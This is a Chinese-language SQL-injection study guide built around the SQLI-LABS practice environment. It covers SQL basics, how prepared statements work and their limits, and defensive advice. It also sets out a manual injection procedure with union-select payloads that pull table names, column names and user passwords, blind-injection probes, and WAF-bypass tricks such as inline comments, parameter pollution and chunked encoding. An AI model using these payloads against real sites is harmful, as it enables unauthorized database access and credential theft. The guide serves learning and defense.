1. SQLI-LABS环境搭建指南
1.1 数据库配置
-
打开
sql-connections目录下的db-creds.inc文件 -
将小皮面板(phpStudy)中的MySQL密码填入相应位置
-
确保Apache/MySQL服务正常运行2. 必备SQL基础语句
2. 必备SQL基础语句
2.1 数据库基础操作
bash
# 创建数据库
create database test1;
# 查看所有数据库
show databases;
# 使用特定数据库
use test1;
# 查看当前数据库中的表
show tables;
# 获取当前数据库名称
select database();
# 删除数据表
drop table table1;
# 查询当前用户
select user();
# 获取数据库版本
select version();
2.2 关键查询函数与操作
排序与联合查询
bash
-- 按字段排序,常用于测试列数
select * from member order by id;
select * from member order by 4;
-- 联合查询(要求列数一致)
select id,username from users
union
select id,content from message;
字符串处理函数
bash
-- 字符串截取
select substr('root',1,1); -- 结果:r
select substring('root',2,2); -- 结果:oo
select left('root',2); -- 结果:ro
select right('root',2); -- 结果:ot
select mid('root',1,1); -- 结果:r
-- 字符编码转换
select ascii('root'); -- 结果:114(第一个字符'r'的ASCII码)
select char(65); -- 结果:A
-- 数据长度获取
select length(database());
3. 预编译与SQL注入防御
3.1 预编译原理与限制
为什么预编译能防止SQL注入?
-
将SQL语句与参数分开处理:先编译语句结构,再传入参数
-
参数不再被解释为SQL代码,消除了语句歧义
预编译的局限性:
-
只能保护可参数化位置(如WHERE条件中的值)
-
不可参数化位置仍存在注入风险:
-
表名、列名
-
ORDER BY、GROUP BY子句
-
LIMIT、JOIN等SQL结构
-
3.2 真实与虚假预编译
| 类型 | 实现方式 | 安全性 | 常见绕过方式 |
|---|---|---|---|
| 虚假预编译 | 客户端模拟参数绑定(字符串转义和拼接) | 较低 | 宽字节注入等 |
| 真实预编译 | 数据库层面编译语句,参数二进制传递 | 较高 | 不可参数化位置注入 |
3.3 不可参数化位置注入示例
bash
-- ORDER BY注入示例(不可参数化)
ORDER BY rand(ascii(substr(database(),1,1))>96)
3.4 综合防御建议
-
使用真实预编译(如设置
PDO::ATTR_EMULATE_PREPARES = false) -
对不可参数化位置进行白名单验证
-
避免直接拼接用户输入到SQL结构部分
-
结合WAF、输入验证、编码统一等多层防护
4. SQL注入攻击技术与手工方法
4.1 手工注入标准流程
-
判断注入点 :测试
'、"、)、and 1=1、and 1=2 -
确定字段数 :
order by n逐步测试 -
定位回显位 :
union select 1,2,3,...,n -
获取基本信息:
bashselect database(), user(), version() -
提取表名:
bashunion select 1,group_concat(table_name) from information_schema.tables where table_schema=database() -
获取列名:
bashunion select 1,group_concat(column_name) from information_schema.columns where table_name='users'
数据提取:
bash
union select username,password from users limit 0,1
4.2 盲注加速技巧
-
二分法判断 :
ascii(substr(password,1,1))>100 -
长度判断 :
length(password)=32 -
合理使用
substr()、mid()等函数
5. WAF绕过技术详解
5.1 语法变形技巧
bash
-- 大小写混写
UnIoN SeLeCt
-- 内联注释分割
U/**/NI/**/ON
-- 等价函数替换
version() → @@version
substr() → mid()
and → &&, or → ||
-- 特殊符号使用
select `version()`
select+user()
5.2 高级绕过策略
-
分块传输 :修改
Transfer-Encoding: chunked拆分payload -
协议层面绕过:
-
参数污染:
id=1&id=2 union select -
多参数分割:
id=1 union/*&id=*/select 1,2,3
-
-
特定WAF绕过:
-
雷池WAF:利用解析差异
-
云WAF:寻找真实IP直接连接
-
-
资源耗尽攻击:使用长字符串或缓慢发送payload